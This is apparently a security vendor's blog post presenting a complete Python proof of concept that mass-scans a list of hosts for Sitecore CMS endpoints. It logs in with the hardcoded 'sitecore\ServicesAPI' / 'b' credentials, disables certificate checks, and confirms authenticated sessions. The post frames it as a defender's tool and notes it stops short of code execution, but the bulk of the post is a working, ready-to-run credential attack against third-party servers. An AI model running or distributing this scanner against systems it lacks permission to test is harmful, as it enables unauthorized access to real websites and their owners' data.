Blog > We Wrote a Lightweight Proof of Concept for Default Credentials in Sitecore CMS

We Wrote a Lightweight Proof of Concept for Default Credentials in Sitecore CMS

Sitecore CMS continues to be a rich target for attackers, especially in light of recent research outlining a pre-authentication RCE chain disclosed by WatchTowr Labs. While their in-depth analysis covers a complex chain involving multiple CVEs, we focused on a more tactical angle: identifying installations with default credentials still enabled.

In this post, we share a Proof of Concept (PoC) we wrote to scan a list of IPs or domains and flag instances where Sitecore's default credentials are valid. The purpose is simple: help defenders identify weak configurations in a noisy, practical way.

Why We Wrote a PoC for the Sitecore Bug

Security researchers at WatchTowr uncovered a sophisticated attack chain involving multiple Sitecore endpoints, including unauthenticated access points and modules like PowerShell Extensions. Among the many findings, one of the stages in the chain is authentication using hardcoded credentials:

sitecore\ServicesAPI : b

In their words, “b is for backdoor.”

Rather than reproduce the full RCE chain, we built a practical scanner that:

  • Scans an IP or domain for known Sitecore endpoints
  • Attempts login using the default credentials
  • Confirms session validity via authenticated access to version disclosure pages
  • Identifies vulnerable systems cleanly and quickly

Key Features of Our PoC

  • Async & Fast: Uses aiohttp with concurrency control to hit multiple targets quickly
  • Endpoint Awareness: Tests a curated list of known Sitecore login paths and API interfaces
  • Session Validation: Confirms successful authentication
  • Colorized Output: Clearly highlights vulnerable, failed, or skipped systems

Here’s what the scanner checks:

The default credentials can be used to attempt logins by sending POST requests to these endpoints. Our scanner interprets the response behavior to determine if authentication succeeded. For example, by checking for the absence of login failure messages, presence of HTTP 302 redirects, or the successful retrieval of a session token. In some cases, the tool uses session cookies to verify access to authenticated-only resources like the version XML file, providing higher confidence in the result.

Each host is scanned across HTTP and HTTPS with and without the www. prefix, enabling coverage for most public-facing deployments.

Sample Output:

Here's What the Output Means:

  • [VULN] - Default credentials successfully authenticated and a valid session was confirmed (e.g., access to a protected resource). The instance is actively vulnerable.
  • [AUTH PASSED] - The login accepted the credentials, but follow-up checks (like session validation) failed. This may indicate partial access or session misbehavior; further investigation recommended.
  • [AUTH FAIL] / [NO VULN] - Authentication failed or no Sitecore-related endpoints responded in a way that suggests exposure. The target appears not vulnerable based on current checks.
  • Here's the Full PoC

    This PoC is not a full exploit chain. It does not attempt file upload, code execution, or exploit PowerShell modules. Instead, it focuses exclusively on authentication checks using known credentials, a fundamental security hygiene issue that remains surprisingly common in the wild.

    1import sys
    2import re
    3import asyncio
    4import aiohttp
    5import ssl
    6from urllib.parse import urlparse
    7
    8try:
    9    from colorama import init as colorama_init, Fore, Style
    10except ImportError:
    11    print("Please install colorama: pip3 install colorama")
    12    sys.exit(1)
    13
    14colorama_init(autoreset=True)
    15
    16DEFAULT_USER = "sitecore\\ServicesAPI"
    17DEFAULT_PASS = "b"
    18ENDPOINTS = [
    19    "/sitecore/admin/login.aspx",
    20    "/sitecore/admin/",
    21    "/sitecore/api/ssc/auth/login",
    22    "/sitecore/login",
    23    "/sitecore",
    24    "/sitecore/shell/sitecore.version.xml",
    25    "/sitecore/modules/shell/powershell/uploadfile/powershelluploadfile2.aspx",
    26]
    27
    28HEADERS = {"User-Agent": "Mozilla/5.0 (compatible; SitecorePoC/1.0)"}
    29
    30TIMEOUT = aiohttp.ClientTimeout(total=10)
    31CONNECTIONS_LIMIT = 20
    32
    33
    34def is_ipv6(host):
    35    if "[" in host and "]" in host:
    36        return True
    37    if ":" in host and not re.match(r"^\d{1,3}(\.\d{1,3}){3}$", host):
    38        return True
    39    return False
    40
    41
    42def normalize_target(target):
    43    target = target.strip()
    44    if not target:
    45        return None
    46    if re.match(r"^https?://", target, re.I):
    47        p = urlparse(target)
    48        host = p.hostname
    49        scheme = p.scheme.lower()
    50        path = p.path or "/"
    51        return scheme, host, path
    52    if re.match(r"^[\d\.]+$", target):
    53        return None, target, "/"
    54    if is_ipv6(target):
    55        return None, None, None
    56    return None, target, "/"
    57
    58
    59def gen_urls(host):
    60    hosts = []
    61    if host.startswith("www."):
    62        hosts.append(host)
    63    else:
    64        hosts.append(host)
    65        hosts.append("www." + host)
    66    urls = []
    67    for h in hosts:
    68        for scheme in ("http", "https"):
    69            urls.append((scheme, h))
    70    return urls
    71
    72
    73async def try_authenticate(session, base_url):
    74    login_path = "/sitecore/admin/login.aspx"
    75    login_url = f"{base_url}{login_path}"
    76    data = {
    77        "UserName": DEFAULT_USER,
    78        "Password": DEFAULT_PASS,
    79        "RememberMe": "false",
    80        "login": "Log in",
    81    }
    82    try:
    83        async with session.post(login_url, data=data, allow_redirects=False) as resp:
    84            text = await resp.text(errors="ignore")
    85            fail_1 = re.search(r"Invalid username or password", text, re.I)
    86            fail_2 = re.search(r"You do not have access", text, re.I)
    87            fail_3 = re.search(r"login failed", text, re.I)
    88            fail_4 = re.search(r"error", text, re.I)
    89            if resp.status in {200, 302}:
    90                if fail_1 or fail_2:
    91                    return False
    92                return True
    93    except Exception:
    94        pass
    95    return False
    96
    97
    98async def try_session_cookie(session, base_url):
    99    login_path = "/sitecore/admin/login.aspx"
    100    version_path = "/sitecore/shell/sitecore.version.xml"
    101    login_url = f"{base_url}{login_path}"
    102    version_url = f"{base_url}{version_path}"
    103    login_data = {
    104        "UserName": DEFAULT_USER,
    105        "Password": DEFAULT_PASS,
    106        "RememberMe": "false",
    107        "login": "Log in",
    108    }
    109    try:
    110        async with session.post(
    111            login_url, data=login_data, allow_redirects=False
    112        ) as login_resp:
    113            if login_resp.status not in (200, 302):
    114                return False
    115            cookies = session.cookie_jar.filter_cookies(login_url)
    116            async with session.get(
    117                version_url, allow_redirects=False, cookies=cookies
    118            ) as ver_resp:
    119                if ver_resp.status == 200:
    120                    text = await ver_resp.text(errors="ignore")
    121                    if "Sitecore" in text or text.startswith("<?xml"):
    122                        return True
    123    except Exception:
    124        pass
    125    return False
    126
    127
    128async def check_target(semaphore, target):
    129    scheme_in, host_in, path_in = normalize_target(target)
    130    if host_in is None or is_ipv6(host_in):
    131        print(f"{Fore.YELLOW}[SKIP]{Style.RESET_ALL} {target} (unsupported or IPv6)")
    132        return
    133    urls = gen_urls(host_in)
    134    sslcontext = ssl.create_default_context()
    135    sslcontext.check_hostname = False
    136    sslcontext.verify_mode = ssl.CERT_NONE
    137    connector = aiohttp.TCPConnector(limit=CONNECTIONS_LIMIT, ssl=sslcontext, family=2)
    138    async with semaphore:
    139        async with aiohttp.ClientSession(
    140            connector=connector,
    141            timeout=TIMEOUT,
    142            headers=HEADERS,
    143            trust_env=True,
    144        ) as session:
    145            for scheme, host in urls:
    146                base_url = f"{scheme}://{host}"
    147                for ep in ENDPOINTS:
    148                    url = f"{base_url}{ep}"
    149                    try:
    150                        async with session.get(url, allow_redirects=False) as resp:
    151                            status = resp.status
    152                            if 200 <= status < 400:
    153                                if ep.startswith("/sitecore/admin"):
    154                                    auth_ok = await try_authenticate(session, base_url)
    155                                    if auth_ok:
    156                                        session_ok = await try_session_cookie(
    157                                            session, base_url
    158                                        )
    159                                        if session_ok:
    160                                            print(
    161                                                f"{Fore.GREEN}[VULN]{Style.RESET_ALL} "
    162                                                f"{target} - Authentication successful at "
    163                                                f"{url} with {DEFAULT_USER}:b"
    164                                            )
    165                                            return
    166                                        else:
    167                                            print(
    168                                                f"{Fore.YELLOW}[AUTH PASSED]{Style.RESET_ALL} "
    169                                                f"{target} - Credentials accepted but session "
    170                                                f"cookie test failed at {url}"
    171                                            )
    172                                            return
    173                                elif ep == "/sitecore/api/ssc/auth/login":
    174                                    post_data = {
    175                                        "username": DEFAULT_USER,
    176                                        "password": DEFAULT_PASS,
    177                                    }
    178                                    try:
    179                                        async with session.post(
    180                                            url,
    181                                            json=post_data,
    182                                            allow_redirects=False,
    183                                        ) as post_resp:
    184                                            pstatus = post_resp.status
    185                                            ptext = await post_resp.text(
    186                                                errors="ignore"
    187                                            )
    188                                            if pstatus in (200, 201) and (
    189                                                "token" in ptext.lower()
    190                                                or "access_token" in ptext.lower()
    191                                            ):
    192                                                print(
    193                                                    f"{Fore.GREEN}[VULN]{Style.RESET_ALL} "
    194                                                    f"{target} - ItemService API login "
    195                                                    f"successful at {url} with {DEFAULT_USER}:b"
    196                                                )
    197                                                return
    198                                            if pstatus == 401:
    199                                                print(
    200                                                    f"{Fore.RED}[AUTH FAIL]{Style.RESET_ALL} "
    201                                                    f"{target} - ItemService API rejected "
    202                                                    f"credentials at {url}"
    203                                                )
    204                                    except Exception:
    205                                        pass
    206                                elif ep.endswith("powershelluploadfile2.aspx"):
    207                                    pass
    208                            elif status in (401, 403):
    209                                continue
    210                    except Exception:
    211                        continue
    212            print(
    213                f"{Fore.RED}[NO VULN]{Style.RESET_ALL} {target} - Could not authenticate "
    214                f"or find vulnerable endpoints"
    215            )
    216
    217
    218async def main(targets_file):
    219    try:
    220        with open(targets_file, "rt", encoding="utf-8") as f:
    221            targets_list = list(set(line.strip() for line in f if line.strip()))
    222    except Exception as e:
    223        print(f"Failed to open {targets_file}: {e}")
    224        return
    225    semaphore = asyncio.Semaphore(CONNECTIONS_LIMIT)
    226    tasks = [check_target(semaphore, t) for t in targets_list]
    227    await asyncio.gather(*tasks)
    228
    229
    230if __name__ == "__main__":
    231    if len(sys.argv) != 2:
    232        print("Usage: python3 program.py list.txt")
    233        sys.exit(1)
    234    asyncio.run(main(sys.argv[1]))
    235
    Share this post